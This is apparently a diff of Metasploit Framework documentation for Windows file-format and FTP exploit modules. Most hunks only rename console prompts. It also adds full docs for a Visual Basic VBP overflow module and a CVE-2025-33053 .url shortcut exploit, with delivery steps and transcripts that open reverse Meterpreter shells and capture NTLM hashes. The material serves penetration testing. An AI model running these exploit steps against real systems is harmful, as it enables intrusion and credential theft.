set payload windows/meterpreter/bind_tcp payload => windows/meterpreter/bind_tcp -msf5 exploit(multi/handler) > set RHOST 172.26.215.55 +msf exploit(multi/handler) > set RHOST 172.26.215.55 RHOST => 172.26.215.55 -msf5 exploit(multi/handler) > set LPORT 7788 +msf exploit(multi/handler) > set LPORT 7788 LPORT => 7788 -msf5 exploit(multi/handler) > exploit +msf exploit(multi/handler) > exploit [*] Started bind TCP handler against 172.26.215.55:7788 [*] Sending stage (176195 bytes) to 172.26.215.55 diff --git a/documentation/modules/exploit/windows/fileformat/dupscout_xml.md b/documentation/modules/exploit/windows/fileformat/dupscout_xml.md index 2c18a103d39f0..b3ab0992a21fb 100644 --- a/documentation/modules/exploit/windows/fileformat/dupscout_xml.md +++ b/documentation/modules/exploit/windows/fileformat/dupscout_xml.md @@ -47,21 +47,21 @@ Note: The last make_nops will offset the location of the payload. The offset is ### Dup Scout Enterprise v10.4.16 Windows 7 SP1 x64. ``` -msf5 > use exploit/windows/fileformat/dupscout_xml -msf5 exploit(windows/fileformat/dupscout_xml) > set payload windows/meterpreter/reverse_tcp +msf > use exploit/windows/fileformat/dupscout_xml +msf exploit(windows/fileformat/dupscout_xml) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp -msf5 exploit(windows/fileformat/dupscout_xml) > set lhost 172.22.222.120 +msf exploit(windows/fileformat/dupscout_xml) > set lhost 172.22.222.120 lhost => 172.22.222.120 -msf5 exploit(windows/fileformat/dupscout_xml) > run +msf exploit(windows/fileformat/dupscout_xml) > run [*] Creating 'msf.xml' file ... [+] msf.xml stored at /home/msfdev/.msf4/local/msf.xml -msf5 exploit(windows/fileformat/dupscout_xml) > use exploit/multi/handler -msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp +msf exploit(windows/fileformat/dupscout_xml) > use exploit/multi/handler +msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp -msf5 exploit(multi/handler) > set lhost 172.22.222.120 +msf exploit(multi/handler) > set lhost 172.22.222.120 lhost => 172.22.222.120 -msf5 exploit(multi/handler) > run +msf exploit(multi/handler) > run [*] Started reverse TCP handler on 172.22.222.120:4444 [*] Sending stage (179779 bytes) to 172.22.222.122 diff --git a/documentation/modules/exploit/windows/fileformat/foxit_reader_uaf.md b/documentation/modules/exploit/windows/fileformat/foxit_reader_uaf.md index b05b8e8581675..6a061e1365f86 100644 --- a/documentation/modules/exploit/windows/fileformat/foxit_reader_uaf.md +++ b/documentation/modules/exploit/windows/fileformat/foxit_reader_uaf.md @@ -40,20 +40,20 @@ share => tmp lhost => 172.22.222.197 [*] share_path: \\172.22.222.197\tmp\tmp.exe [+] test.pdf stored at /home/msfdev/.msf4/local/test.pdf -msf5 exploit(windows/fileformat/foxit_reader_uaf) > use multi/handler -msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp +msf exploit(windows/fileformat/foxit_reader_uaf) > use multi/handler +msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp -msf5 exploit(multi/handler) > set lhost 172.22.222.197 +msf exploit(multi/handler) > set lhost 172.22.222.197 lhost => 172.22.222.197 -msf5 exploit(multi/handler) > set exitonsession false +msf exploit(multi/handler) > set exitonsession false exitonsession => false -msf5 exploit(multi/handler) > run -j +msf exploit(multi/handler) > run -j [*] Exploit running as background job 0. [*] Started reverse TCP handler on 172.22.222.197:4444 [*] Sending stage (179779 bytes) to 172.22.222.200 [*] Meterpreter session 1 opened (172.22.222.197:4444 -> 172.22.222.200:49673) at 2018-08-21 07:50:34 -0500 -msf5 exploit(multi/handler) > sessions -i 1 +msf exploit(multi/handler) > sessions -i 1 [*] Starting interaction with 1... meterpreter > sysinfo diff --git a/documentation/modules/exploit/windows/fileformat/greenshot_deserialize_cve_2023_34634.md b/documentation/modules/exploit/windows/fileformat/greenshot_deserialize_cve_2023_34634.md index 0635e57aef6a4..08258e205b53b 100644 --- a/documentation/modules/exploit/windows/fileformat/greenshot_deserialize_cve_2023_34634.md +++ b/documentation/modules/exploit/windows/fileformat/greenshot_deserialize_cve_2023_34634.md @@ -28,21 +28,21 @@ Note: The target machine running Foxit Reader will need network access to the sy ### Greenshot v1.3.274 running on Windows 10 Pro x64 2004 ``` -msf6 > use exploit/windows/fileformat/greenshot_deserialize_cve_2023_34634 +msf > use exploit/windows/fileformat/greenshot_deserialize_cve_2023_34634 [*] No payload configured, defaulting to cmd/windows/http/x64/meterpreter/reverse_tcp -msf6 exploit(windows/fileformat/greenshot_deserialize_cve_2023_34634) > set payload cmd/windows/http/x64/meterpreter/reverse_tcp +msf exploit(windows/fileformat/greenshot_deserialize_cve_2023_34634) > set payload cmd/windows/http/x64/meterpreter/reverse_tcp payload => cmd/windows/http/x64/meterpreter/reverse_tcp -msf6 exploit(windows/fileformat/greenshot_deserialize_cve_2023_34634) > set FETCH_SRVHOST 10.5.135.201 +msf exploit(windows/fileformat/greenshot_deserialize_cve_2023_34634) > set FETCH_SRVHOST 10.5.135.201 FETCH_SRVHOST => 10.5.135.201 -msf6 exploit(windows/fileformat/greenshot_deserialize_cve_2023_34634) > set LHOST 10.5.135.201 +msf exploit(windows/fileformat/greenshot_deserialize_cve_2023_34634) > set LHOST 10.5.135.201 LHOST => 10.5.135.201 -msf6 exploit(windows/fileformat/greenshot_deserialize_cve_2023_34634) > set FETCH_WRITABLE_DIR %TEMP% +msf exploit(windows/fileformat/greenshot_deserialize_cve_2023_34634) > set FETCH_WRITABLE_DIR %TEMP% FETCH_WRITABLE_DIR => %TEMP% -msf6 exploit(windows/fileformat/greenshot_deserialize_cve_2023_34634) > set DisablePayloadHandler false +msf exploit(windows/fileformat/greenshot_deserialize_cve_2023_34634) > set DisablePayloadHandler false DisablePayloadHandler => false -msf6 exploit(windows/fileformat/greenshot_deserialize_cve_2023_34634) > set wfsdelay 600 +msf exploit(windows/fileformat/greenshot_deserialize_cve_2023_34634) > set wfsdelay 600 wfsdelay => 600 -msf6 exploit(windows/fileformat/greenshot_deserialize_cve_2023_34634) > show options +msf exploit(windows/fileformat/greenshot_deserialize_cve_2023_34634) > show options Module options (exploit/windows/fileformat/greenshot_deserialize_cve_2023_34634): @@ -78,7 +78,7 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(windows/fileformat/greenshot_deserialize_cve_2023_34634) > run +msf exploit(windows/fileformat/greenshot_deserialize_cve_2023_34634) > run [*] Started reverse TCP handler on 10.5.135.201:4444 [+] QsMBQrLmW.greenshot stored at /home/tmoose/.msf4/local/QsMBQrLmW.greenshot diff --git a/documentation/modules/exploit/windows/fileformat/microsoft_windows_contact.md b/documentation/modules/exploit/windows/fileformat/microsoft_windows_contact.md index b8276799088ff..6a163b1b821ca 100644 --- a/documentation/modules/exploit/windows/fileformat/microsoft_windows_contact.md +++ b/documentation/modules/exploit/windows/fileformat/microsoft_windows_contact.md @@ -41,19 +41,19 @@ Windows Contacts 1. Configure the module-specific settings. ``` -msf5 exploit(windows/fileformat/microsoft_windows_contact) > set WEBSITE metasploit.com +msf exploit(windows/fileformat/microsoft_windows_contact) > set WEBSITE metasploit.com WEBSITE => metasploit.com -msf5 exploit(windows/fileformat/microsoft_windows_contact) > set FILENAME John Smith +msf exploit(windows/fileformat/microsoft_windows_contact) > set FILENAME John Smith FILENAME => John Smith ``` 2. Configure the payload. ``` -msf5 exploit(windows/fileformat/microsoft_windows_contact) > set PAYLOAD windows/x64/meterpreter/reverse_tcp +msf exploit(windows/fileformat/microsoft_windows_contact) > set PAYLOAD windows/x64/meterpreter/reverse_tcp PAYLOAD => windows/x64/meterpreter/reverse_tcp -msf5 exploit(windows/fileformat/microsoft_windows_contact) > set LHOST 192.168.1.148 +msf exploit(windows/fileformat/microsoft_windows_contact) > set LHOST 192.168.1.148 LHOST => 192.168.1.148 -msf5 exploit(windows/fileformat/microsoft_windows_contact) > run +msf exploit(windows/fileformat/microsoft_windows_contact) > run [+] Creating 'John Smith.zip' ``` diff --git a/documentation/modules/exploit/windows/fileformat/ms_visual_basic_vbp.md b/documentation/modules/exploit/windows/fileformat/ms_visual_basic_vbp.md new file mode 100644 index 0000000000000..e74480a248ba6 --- /dev/null +++ b/documentation/modules/exploit/windows/fileformat/ms_visual_basic_vbp.md @@ -0,0 +1,87 @@ +## Vulnerable Application + +This module exploits a stack buffer overflow in Microsoft Visual Basic +6.0. A specially crafted Visual Basic Project (VBP) file containing +a long reference line can be used to execute arbitrary code. + +This module has been tested successfully on: + +* Windows XP Home SP0 (x86) (English) +* Windows XP Professional SP0 (x86) (English) +* Windows XP Professional SP1 (x86-64) (English) +* Windows XP Professional SP2 (x86-64) (English) +* Windows XP Professional SP3 (x86) (English) + +## Verification Steps + +1. Start msfconsole +1. Do: `use exploit/windows/fileformat/ms_visual_basic_vbp` +1. Do: `set filename [filename.vbp]` +1. Do: `set lhost [lhost]` +1. Do: `set lport [lport]` +1. Do: `set payload windows/shell/reverse_tcp` +1. Do: `run` +1. Do: `use exploit/multi/handler` +1. Do: `set lhost [lhost]` +1. Do: `set lport [lport]` +1. Do: `set payload windows/shell/reverse_tcp` +1. Do: `run -jz` +1. Open `/home/user/.msf4/local/msf.vbp` on a vulnerable system + +## Options + +### FILENAME + +The project file name. (Default: `msf.vbp`). + +## Scenarios + +### Windows XP SP3 (x86) (English) + +``` +msf > use exploit/windows/fileformat/ms_visual_basic_vbp +[*] Using configured payload windows/shell/reverse_tcp +msf exploit(windows/fileformat/ms_visual_basic_vbp) > set lhost 192.168.200.130 +lhost => 192.168.200.130 +msf exploit(windows/fileformat/ms_visual_basic_vbp) > show targets + +Exploit targets: +================= + + Id Name + -- ---- +=> 0 Windows XP SP0-SP3 (x86) (English) + 1 Windows XP SP1-SP2 (x86-64) (English) + + +msf exploit(windows/fileformat/ms_visual_basic_vbp) > run +[*] Creating 'msf.vbp' file for Windows XP SP0-SP3 (x86) (English) ... +[+] msf.vbp stored at /home/user/.msf4/local/msf.vbp +msf exploit(windows/fileformat/ms_visual_basic_vbp) > use exploit/multi/handler +[*] Using configured payload generic/shell_reverse_tcp +msf exploit(multi/handler) > set lhost 192.168.200.130 +lhost => 192.168.200.130 +msf exploit(multi/handler) > set payload windows/shell/reverse_tcp +payload => windows/shell/reverse_tcp +msf exploit(multi/handler) > run -jz +[*] Exploit running as background job 0. +[*] Exploit completed, but no session was created. + +[*] Started reverse TCP handler on 192.168.200.130:4444 +msf exploit(multi/handler) > mv /home/user/.msf4/local/msf.vbp /var/www/html/msf.vbp +[*] exec: mv /home/user/.msf4/local/msf.vbp /var/www/html/msf.vbp + +msf exploit(multi/handler) > +[*] Sending stage (240 bytes) to 192.168.200.173 +[*] Command shell session 1 opened (192.168.200.130:4444 -> 192.168.200.173:1037) at 2025-06-21 08:03:44 -0400 + +msf exploit(multi/handler) > sessions -i 1 +[*] Starting interaction with 1... + + +Shell Banner: +Microsoft Windows XP [Version 5.1.2600] +(C) Copyright 1985-2001 Microsoft Corp. + +C:\Documents and Settings\Administrator\Desktop> +``` diff --git a/documentation/modules/exploit/windows/fileformat/theme_dll_hijack_cve_2023_38146.md b/documentation/modules/exploit/windows/fileformat/theme_dll_hijack_cve_2023_38146.md index 4fc08748a8a39..13932f0359eee 100644 --- a/documentation/modules/exploit/windows/fileformat/theme_dll_hijack_cve_2023_38146.md +++ b/documentation/modules/exploit/windows/fileformat/theme_dll_hijack_cve_2023_38146.md @@ -63,9 +63,9 @@ This is the name of the theme file created by the exploit to send to the target ### Windows 11 ``` -msf6 > use exploit/windows/fileformat/theme_dll_hijack_cve_2023_38146 +msf > use exploit/windows/fileformat/theme_dll_hijack_cve_2023_38146 [*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp -msf6 exploit(windows/fileformat/theme_dll_hijack_cve_2023_38146) > show options +msf exploit(windows/fileformat/theme_dll_hijack_cve_2023_38146) > show options Module options (exploit/windows/fileformat/theme_dll_hijack_cve_2023_38146): @@ -99,18 +99,18 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(windows/fileformat/theme_dll_hijack_cve_2023_38146) > set SRVHOST 10.5.135.201 +msf exploit(windows/fileformat/theme_dll_hijack_cve_2023_38146) > set SRVHOST 10.5.135.201 SRVHOST => 10.5.135.201 -msf6 exploit(windows/fileformat/theme_dll_hijack_cve_2023_38146) > set STYLE_FILE '/home/tmoose/rapid7/metasploit-framework/aero.msstyles' +msf exploit(windows/fileformat/theme_dll_hijack_cve_2023_38146) > set STYLE_FILE '/home/tmoose/rapid7/metasploit-framework/aero.msstyles' STYLE_FILE => /home/tmoose/rapid7/metasploit-framework/aero.msstyles -msf6 exploit(windows/fileformat/theme_dll_hijack_cve_2023_38146) > set STYLE_FILE_NAME aero +msf exploit(windows/fileformat/theme_dll_hijack_cve_2023_38146) > set STYLE_FILE_NAME aero STYLE_FILE_NAME => aero -msf6 exploit(windows/fileformat/theme_dll_hijack_cve_2023_38146) > set verbose true +msf exploit(windows/fileformat/theme_dll_hijack_cve_2023_38146) > set verbose true verbose => true -msf6 exploit(windows/fileformat/theme_dll_hijack_cve_2023_38146) > run +msf exploit(windows/fileformat/theme_dll_hijack_cve_2023_38146) > run [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. -msf6 exploit(windows/fileformat/theme_dll_hijack_cve_2023_38146) > +msf exploit(windows/fileformat/theme_dll_hijack_cve_2023_38146) > [*] Started reverse TCP handler on 10.5.135.201:4444 [*] Server is running. Listening on 10.5.135.201:445 [*] Server started. @@ -125,7 +125,7 @@ msf6 exploit(windows/fileformat/theme_dll_hijack_cve_2023_38146) > [*] Server stopped. [*] Meterpreter session 1 opened (10.5.135.201:4444 -> 10.5.132.136:50003) at 2023-12-20 18:40:25 -0600 -msf6 exploit(windows/fileformat/theme_dll_hijack_cve_2023_38146) > sessions -i -1 +msf exploit(windows/fileformat/theme_dll_hijack_cve_2023_38146) > sessions -i -1 [*] Starting interaction with 1... meterpreter > sysinfo diff --git a/documentation/modules/exploit/windows/fileformat/unc_url_cve_2025_33053.md b/documentation/modules/exploit/windows/fileformat/unc_url_cve_2025_33053.md new file mode 100644 index 0000000000000..c4cd7b543cfe7 --- /dev/null +++ b/documentation/modules/exploit/windows/fileformat/unc_url_cve_2025_33053.md @@ -0,0 +1,104 @@ +## Vulnerable Application + +CVE-2025-33053 - Internet Shortcut (.url) UNC Path Exploit + +Windows improperly handles `.url` (Internet Shortcut) files referencing remote +UNC paths. Specifically, `.url` files that specify a remote working directory +(`WorkingDirectory=\\attacker\webdav`) and a trusted executable (e.g., +`iediagcmd.exe`) may cause the system to access the attacker's server when opened. + +This behavior can be exploited to: + +- Trigger NTLM authentication leaks (SMB relay) +- Load remote payloads via WebDAV shares +- Attempt DLL sideloading if conditions allow + +## Affected Versions + +- Windows 10 22H2 +- Windows 11 23H2 +- Fully patched prior to June 2025 Patch Tuesday + +## Verification Steps + +1. Run: `use windows/fileformat/unc_url_cve_2025_33053` +2. Run: `set LHOST [IP address]` +3. Run: `set SRVHOST [IP address]` +4. Run: `run` +5. Deliver the `.url` to the target (email, USB, zip) +6. On victim's machine, open `.url` +7. Payload execution + +### Overview + +This module generates a malicious `.url` Internet Shortcut file that abuses +CVE-2025-33053 — a vulnerability in how Windows handles `.url` files referencing remote UNC +paths. + +When opened on a vulnerable system, the `.url` causes the system to connect to a +UNC path(e.g., a WebDAV or SMB share), triggering an attempt to execute a trusted binary +from the attacker's location. This can result in RCE or credential leaks. + + +## Options + +### OUTFILE +This option allows user to define their own .url file. If this option is not set, the module will generate random .url file - `YWSXVjpW.url`. + +### FOLDER_NAME +The `FOLDER_NAME` option defines SMB share folder, where the final payload file is stored. Generally can be anything, default is `webdav`. + +### FILE_NAME +This option defines payload file stored in SMB share. This option should not change as it is bound to executable in `URL` parameter of `.url` file. The default value is `explorer.exe`. + + +## Scenarios + +``` +msf exploit(windows/fileformat/unc_url_cve_2025_33053) > run verbose=true +[*] Exploit running as background job 2. +[*] Exploit completed, but no session was created. + +msf exploit(windows/fileformat/unc_url_cve_2025_33053) > [*] Started reverse TCP handler on 192.168.3.7:4444 +[*] URL file: /home/ms/.msf4/local/YWSXVjpW.url, deliver to target's machine and wait for shell +[*] Run following: curl http://192.168.3.7:8080/YWSXVjpW.url -o YWSXVjpW.url +[*] Server is running. Listening on 192.168.3.7:4445 +[*] The SMB service has been started. +[*] Received SMB connection from 10.5.132.137 +[SMB] NTLMv2-SSP Client : 10.5.132.137 +[SMB] NTLMv2-SSP Username : WIN10_22H2_7FD2\msfuser +[SMB] NTLMv2-SSP Hash : msfuser::WIN10_22H2_7FD2:[HASH] + +[*] Sending stage (203846 bytes) to 10.5.132.137 +[*] Meterpreter session 1 opened (192.168.3.7:4444 -> 10.5.132.137:49740) at 2025-06-24 16:08:56 +0200 + +msf exploit(windows/fileformat/unc_url_cve_2025_33053) > sessions + +Active sessions +=============== + + Id Name Type Information Connection + -- ---- ---- ----------- ---------- + 1 meterpreter x64/windows WIN10_22H2_7FD2\msfuser @ WIN10_22H2_7FD2 192.168.3.7:4444 -> 10.5.132.137:49740 (10.5.132.137) + +msf exploit(windows/fileformat/unc_url_cve_2025_33053) > sessions 1 +[*] Starting interaction with 1... + +meterpreter > sysinfo +Computer : WIN10_22H2_7FD2 +OS : Windows 10 22H2+ (10.0 Build 19045). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x64/windows +``` + + +## References + +- [GitHub PoC](https://github.com/DevBuiHieu/CVE-2025-33053-Proof-Of-Concept) +- [NVD Entry](https://nvd.nist.gov/vuln/detail/CVE-2025-33053) +- [LOLBAS Project](https://lolbas-project.github.io) +- [Microsoft Advisory](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-33053) + diff --git a/documentation/modules/exploit/windows/fileformat/vlc_mkv.md b/documentation/modules/exploit/windows/fileformat/vlc_mkv.md index 97a58d1d7f97a..3da29c646541f 100644 --- a/documentation/modules/exploit/windows/fileformat/vlc_mkv.md +++ b/documentation/modules/exploit/windows/fileformat/vlc_mkv.md @@ -22,10 +22,10 @@ This module has been tested against 32 and 64 bit versions of VLC v2.2.8 on Wind ### Windows 10 x64 running VLC 2.2.8 (x64) ``` -msf5 > use exploit/windows/fileformat/vlc_mkv -msf5 exploit(windows/fileformat/vlc_mkv) > set lhost 172.22.222.134 +msf > use exploit/windows/fileformat/vlc_mkv +msf exploit(windows/fileformat/vlc_mkv) > set lhost 172.22.222.134 lhost => 172.22.222.134 -msf5 exploit(windows/fileformat/vlc_mkv) > run +msf exploit(windows/fileformat/vlc_mkv) > run [+] tjub-part1.mkv stored at /home/msfdev/.msf4/local/tjub-part1.mkv [*] Created tjub-part1.mkv. Target should open this file @@ -33,9 +33,9 @@ msf5 exploit(windows/fileformat/vlc_mkv) > run [*] Created tjub-part2.mkv. Put this file in the same directory as tjub-part1.mkv [*] Appending blocks to tjub-part1.mkv [+] Successfully appended blocks to tjub-part1.mkv -msf5 exploit(windows/fileformat/vlc_mkv) > handler -p windows/x64/shell/reverse_tcp -H 172.22.222.134 -P 4444 +msf exploit(windows/fileformat/vlc_mkv) > handler -p windows/x64/shell/reverse_tcp -H 172.22.222.134 -P 4444 [*] Payload handler running as background job 0. -msf5 exploit(windows/fileformat/vlc_mkv) > +msf exploit(windows/fileformat/vlc_mkv) > [*] Started reverse TCP handler on 172.22.222.134:4444 [*] Sending stage (336 bytes) to 172.22.222.200 [*] Command shell session 2 opened (172.22.222.134:4444 -> 172.22.222.200:49731) at 2018-10-10 12:08:58 -0500 diff --git a/documentation/modules/exploit/windows/fileformat/winrar_ace.md b/documentation/modules/exploit/windows/fileformat/winrar_ace.md index 9a99e7bfa6129..7f890f6f31bec 100644 --- a/documentation/modules/exploit/windows/fileformat/winrar_ace.md +++ b/documentation/modules/exploit/windows/fileformat/winrar_ace.md @@ -39,13 +39,13 @@ Optional. A list of other files to be included in the resulting ACE archive. The ### Test with autogenerated payload, no additional files in archive Output from Metasploit: ``` -msf5 exploit(windows/fileformat/winrar_ace) > set LHOST 172.16.72.1 +msf exploit(windows/fileformat/winrar_ace) > set LHOST 172.16.72.1 LHOST => 172.16.72.1 -msf5 exploit(windows/fileformat/winrar_ace) > exploit +msf exploit(windows/fileformat/winrar_ace) > exploit [*] Payload filename: sGrBPr.exe [+] msf.ace stored at /home/msfdev2/.msf4/local/msf.ace -msf5 exploit(windows/fileformat/winrar_ace) > +msf exploit(windows/fileformat/winrar_ace) > ``` Verify checksums using `acefile`: @@ -101,18 +101,18 @@ msfdev2@automata:~$ Output from Metasploit: ``` -msf5 exploit(windows/fileformat/winrar_ace) > set CUSTFILE /home/msfdev2/abcdef.exe +msf exploit(windows/fileformat/winrar_ace) > set CUSTFILE /home/msfdev2/abcdef.exe CUSTFILE => /home/msfdev2/abcdef.exe -msf5 exploit(windows/fileformat/winrar_ace) > set FILENAME msf2.ace +msf exploit(windows/fileformat/winrar_ace) > set FILENAME msf2.ace FILENAME => msf2.ace -msf5 exploit(windows/fileformat/winrar_ace) > set LHOST 172.16.79.1 +msf exploit(windows/fileformat/winrar_ace) > set LHOST 172.16.79.1 LHOST => 172.16.79.1 -msf5 exploit(windows/fileformat/winrar_ace) > exploit +msf exploit(windows/fileformat/winrar_ace) > exploit [*] Using a custom payload: abcdef.exe [*] Payload filename: abcdef.exe [+] msf2.ace stored at /home/msfdev2/.msf4/local/msf2.ace -msf5 exploit(windows/fileformat/winrar_ace) > +msf exploit(windows/fileformat/winrar_ace) > ``` Verify checksums using `acefile`: @@ -185,21 +185,21 @@ msfdev2@automata:~$ Output from Metasploit: ``` -msf5 exploit(windows/fileformat/winrar_ace) > set CUSTFILE /home/msfdev2/abcdef.exe +msf exploit(windows/fileformat/winrar_ace) > set CUSTFILE /home/msfdev2/abcdef.exe CUSTFILE => abcdef.exe -msf5 exploit(windows/fileformat/winrar_ace) > set FILE_LIST /home/msfdev2/ace_files.txt +msf exploit(windows/fileformat/winrar_ace) > set FILE_LIST /home/msfdev2/ace_files.txt FILE_LIST => ace_files.txt -msf5 exploit(windows/fileformat/winrar_ace) > set FILENAME custom.ace +msf exploit(windows/fileformat/winrar_ace) > set FILENAME custom.ace FILENAME => custom.ace -msf5 exploit(windows/fileformat/winrar_ace) > set LHOST 172.16.79.1 +msf exploit(windows/fileformat/winrar_ace) > set LHOST 172.16.79.1 LHOST => 172.16.79.1 -msf5 exploit(windows/fileformat/winrar_ace) > exploit +msf exploit(windows/fileformat/winrar_ace) > exploit [*] Using the provided list of files @ /home/msfdev2/ace_files.txt... [*] Using a custom payload: abcdef.exe [*] Payload filename: abcdef.exe [+] custom.ace stored at /home/msfdev2/.msf4/local/custom.ace -msf5 exploit(windows/fileformat/winrar_ace) > +msf exploit(windows/fileformat/winrar_ace) > ``` Verify checksums using `acefile`: @@ -279,4 +279,4 @@ header ntsecurity b'' reserved2 b'' msfdev2@automata:~$ -``` \ No newline at end of file +``` diff --git a/documentation/modules/exploit/windows/fileformat/word_msdtjs_rce.md b/documentation/modules/exploit/windows/fileformat/word_msdtjs_rce.md index b7ba3bc15e794..c129987031a55 100644 --- a/documentation/modules/exploit/windows/fileformat/word_msdtjs_rce.md +++ b/documentation/modules/exploit/windows/fileformat/word_msdtjs_rce.md @@ -100,7 +100,7 @@ You can get the 0-click by either selecting the 'rtf' option in converting, manu 1. Generate the exploit for rtf as following. ``` -msf6 exploit(windows/fileformat/word_msdtjs_rce) > show options +msf exploit(windows/fileformat/word_msdtjs_rce) > show options Module options (exploit/windows/fileformat/word_msdtjs_rce): @@ -134,17 +134,17 @@ Id Name 0 Microsoft Office Word -msf6 exploit(windows/fileformat/word_msdtjs_rce) > set filename test.rtf +msf exploit(windows/fileformat/word_msdtjs_rce) > set filename test.rtf filename => test.rtf -msf6 exploit(windows/fileformat/word_msdtjs_rce) > set output_format rtf +msf exploit(windows/fileformat/word_msdtjs_rce) > set output_format rtf output_format => rtf -msf6 exploit(windows/fileformat/word_msdtjs_rce) > set lhost 10.5.135.101 +msf exploit(windows/fileformat/word_msdtjs_rce) > set lhost 10.5.135.101 lhost => 10.5.135.101 -msf6 exploit(windows/fileformat/word_msdtjs_rce) > set verbose true +msf exploit(windows/fileformat/word_msdtjs_rce) > set verbose true verbose => true -msf6 exploit(windows/fileformat/word_msdtjs_rce) > set disablepayloadhandler false +msf exploit(windows/fileformat/word_msdtjs_rce) > set disablepayloadhandler false disablepayloadhandler => false -msf6 exploit(windows/fileformat/word_msdtjs_rce) > run +msf exploit(windows/fileformat/word_msdtjs_rce) > run [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. @@ -153,7 +153,7 @@ msf6 exploit(windows/fileformat/word_msdtjs_rce) > run [*] Server started. [*] Generating a malicious rtf file [+] test.rtf stored at /home/tmoose/.msf4/local/test.rtf -msf6 exploit(windows/fileformat/word_msdtjs_rce) > [*] Powershell command length: 3718 +msf exploit(windows/fileformat/word_msdtjs_rce) > [*] Powershell command length: 3718 ``` 2. Upload rtf file to remote host, make sure 'preview' is enabled, and click on the file. (You don't need to open it, just click once to preview it) @@ -165,7 +165,7 @@ msf6 exploit(windows/fileformat/word_msdtjs_rce) > [*] Powershell command length [*] Sending stage (200774 bytes) to 10.5.132.101 [*] Meterpreter session 1 opened (10.5.135.101:4444 -> 10.5.132.101:51221) at 2022-08-17 10:56:01 -0500 -msf6 exploit(windows/fileformat/word_msdtjs_rce) > sessions -i -1 +msf exploit(windows/fileformat/word_msdtjs_rce) > sessions -i -1 [*] Starting interaction with 1... meterpreter > sysinfo diff --git a/documentation/modules/exploit/windows/fileformat/word_mshtml_rce.md b/documentation/modules/exploit/windows/fileformat/word_mshtml_rce.md index 91fd70cffa687..2a037aa40c822 100644 --- a/documentation/modules/exploit/windows/fileformat/word_mshtml_rce.md +++ b/documentation/modules/exploit/windows/fileformat/word_mshtml_rce.md @@ -52,15 +52,15 @@ A DOCX file that will be used as a template to build the exploit. 1. Generate the exploit as following. ``` - msf6 exploit(windows/fileformat/word_mshtml_rce) > use exploit/windows/fileformat/word_mshtml_rce + msf exploit(windows/fileformat/word_mshtml_rce) > use exploit/windows/fileformat/word_mshtml_rce [*] Using configured payload windows/x64/meterpreter/reverse_tcp - msf6 exploit(windows/fileformat/word_mshtml_rce) > set SRVHOST 172.20.7.36 + msf exploit(windows/fileformat/word_mshtml_rce) > set SRVHOST 172.20.7.36 SRVHOST => 172.20.7.36 - msf6 exploit(windows/fileformat/word_mshtml_rce) > set LHOST 172.20.7.36 + msf exploit(windows/fileformat/word_mshtml_rce) > set LHOST 172.20.7.36 LHOST => 172.20.7.36 - msf6 exploit(windows/fileformat/word_mshtml_rce) > set VERBOSE true + msf exploit(windows/fileformat/word_mshtml_rce) > set VERBOSE true VERBOSE => true - msf6 exploit(windows/fileformat/word_mshtml_rce) > run + msf exploit(windows/fileformat/word_mshtml_rce) > run [*] Using URL: http://172.20.7.36:8080/x58G8ZxLbZ [*] Server started. [*] CVE-2021-40444: Generate a malicious docx file @@ -163,17 +163,17 @@ A DOCX file that will be used as a template to build the exploit. 2. Use the template with `msfconsole`. ``` - msf6 exploit(windows/fileformat/word_mshtml_rce) > use exploit/windows/fileformat/word_mshtml_rce + msf exploit(windows/fileformat/word_mshtml_rce) > use exploit/windows/fileformat/word_mshtml_rce [*] Using configured payload windows/x64/meterpreter/reverse_tcp - msf6 exploit(windows/fileformat/word_mshtml_rce) > set customtemplate /tmp/readme.docx + msf exploit(windows/fileformat/word_mshtml_rce) > set customtemplate /tmp/readme.docx customtemplate => /tmp/readme.docx - msf6 exploit(windows/fileformat/word_mshtml_rce) > set srvhost 172.20.7.36 + msf exploit(windows/fileformat/word_mshtml_rce) > set srvhost 172.20.7.36 srvhost => 172.20.7.36 - msf6 exploit(windows/fileformat/word_mshtml_rce) > set lhost 172.20.7.36 + msf exploit(windows/fileformat/word_mshtml_rce) > set lhost 172.20.7.36 lhost => 172.20.7.36 - msf6 exploit(windows/fileformat/word_mshtml_rce) > set verbose true + msf exploit(windows/fileformat/word_mshtml_rce) > set verbose true verbose => true - msf6 exploit(windows/fileformat/word_mshtml_rce) > run + msf exploit(windows/fileformat/word_mshtml_rce) > run [*] Using URL: http://172.20.7.36:8080/c6RhuAJ0fcW7 [*] Server started. [*] CVE-2021-40444: Generate a malicious docx file diff --git a/documentation/modules/exploit/windows/fileformat/zahir_enterprise_plus_csv.md b/documentation/modules/exploit/windows/fileformat/zahir_enterprise_plus_csv.md index 9673672ae25bc..2f8a367ebb320 100644 --- a/documentation/modules/exploit/windows/fileformat/zahir_enterprise_plus_csv.md +++ b/documentation/modules/exploit/windows/fileformat/zahir_enterprise_plus_csv.md @@ -22,7 +22,7 @@ Zahir Accounting Enterprise 6 through build 10.b contains a buffer overflow vuln ### Zahir Enterprise 6 build 10b on Windows 10 x64 ``` -msf5 exploit(windows/fileformat/zahir_enterprise_plus_csv) > +msf exploit(windows/fileformat/zahir_enterprise_plus_csv) > [*] Started reverse TCP handler on 172.22.222.130:4444 [*] Sending stage (179779 bytes) to 172.22.222.200 [*] Meterpreter session 4 opened (172.22.222.130:4444 -> 172.22.222.200:49934) at 2018-10-04 10:09:01 -0500 diff --git a/documentation/modules/exploit/windows/ftp/sami_ftpd_user.md b/documentation/modules/exploit/windows/ftp/sami_ftpd_user.md index c7e0527171d1a..e28b1af9b67f8 100644 --- a/documentation/modules/exploit/windows/ftp/sami_ftpd_user.md +++ b/documentation/modules/exploit/windows/ftp/sami_ftpd_user.md @@ -41,13 +41,13 @@ Metasploit: ### KarjaSoft Sami FTP Server version 2.0.2 on Windows 10 (1909) (x64) ``` -msf6 > use exploit/windows/ftp/sami_ftpd_user +msf > use 